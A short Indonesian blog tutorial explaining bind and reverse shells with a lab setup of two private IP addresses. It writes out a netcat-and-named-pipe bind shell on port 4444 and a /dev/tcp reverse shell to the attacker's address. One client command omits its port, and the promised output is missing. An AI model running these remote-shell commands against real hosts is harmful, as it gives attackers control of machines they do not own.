Reverse Shell dan Bind Shell

Ahmadsulaeman
2 min readApr 5, 2022

--

Salah satu cara untuk mengakses sumberdaya komputer adalah menggunakan program shell seperti bash, dash, atau command prompt.

Pada dasarnya, shell merupakan user interface antara pengguna dan sumberdaya pada komputer yang berbasiskan teks. Jauh sebelum ada komputer berbasis grafik, user interface yang digunakan oleh sebuah komputer hampir bisa dipastikan berbasis teks.

Dengan shell, kita bisa memanipulasi data, mengirim data, meng-copy data, delete, dll. Namun, bagi sebagian orang, shell digunakan sebagai alat untuk melakukan aktifitas hacking seperti Reverse shell dan Bind shell.

Apa itu Bind Shell?

Bind shell merupakan salah satu teknik hacking yang hampir mirip dengan telnet atau ssh dimana sebuah komputer client mengakses komputer “server”. Komputer client yang menjadi Attacker akan mengambil alih komputer Server yang dijadikan sebagai target.

[PC Attacker] → [PC Target]

Attacker: client (192.168.1.117)
Target: Server (192.168.1.118)

Pada kasus seperti ini, attacker akan berusaha membuka “port” PC target dan mengakses program shell dengan cara menjalankan sebuah payload. Setelah itu, attacker akan mengakses program tersebut dari jarak jauh menggunakan program lainnya seperti Netcat.

Contoh cara membuka port dan mengakses program shell pada Server Ubuntu 20.04 menggunakan netcat

$ mkfifo /tmp/f
$ chmod 777 /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f

Pada tahap ini, port 4444 pada komputer target sudah terbuka dan program shell dapat diakses.

Selanjutnya, kita akan mengakses komputer target dengan menggunakan program yang sama, yaitu netcat pada kali linux. Jalankan perintah sebagai berikut

$ nc 192.168.1.118

Pada tahap ini, komputer attacker sudah berhasil mendapatkan akses komputer target. Coba jalan perintah “hostnamectl” untuk memastikan jika kita bisa menjalankan perintah dari komputer attacker. Maka hasilnya akan seperti berikut:

Reverse Shell

Pada dasarnya, cara kerja Reverse shell sama seperti Bind Shell. Namun yang membedakannya adalah PC Attacker akan menjadi Server dan PC Target menjadi Client.

[PC Attacker] ←[PC Target]
PC Attacker: Server (192.168.1.117)
PC Target: Client (192.168.1.118)

Pada reverse shell, komputer target akan menjalankan payload yang bersifat “aktif” membuka akses komputer attacker. Cara seperti ini biasa juga disebut backdoor.

Sebagai contoh, pertama kita akan aktifkan port 4444 pada PC attacker yang berperan sebagai server

$ nc -lvp 4444

Kemudian, pada PC Target yang berperan sebagai client jalankan perintah berikut

$ /bin/sh -i >& /dev/tcp/192.168.1.117/4444 0>&1

Demikian penjelasan singkat mengenai Bind shell dan reverse shell, semoga bermanfaat.

--

--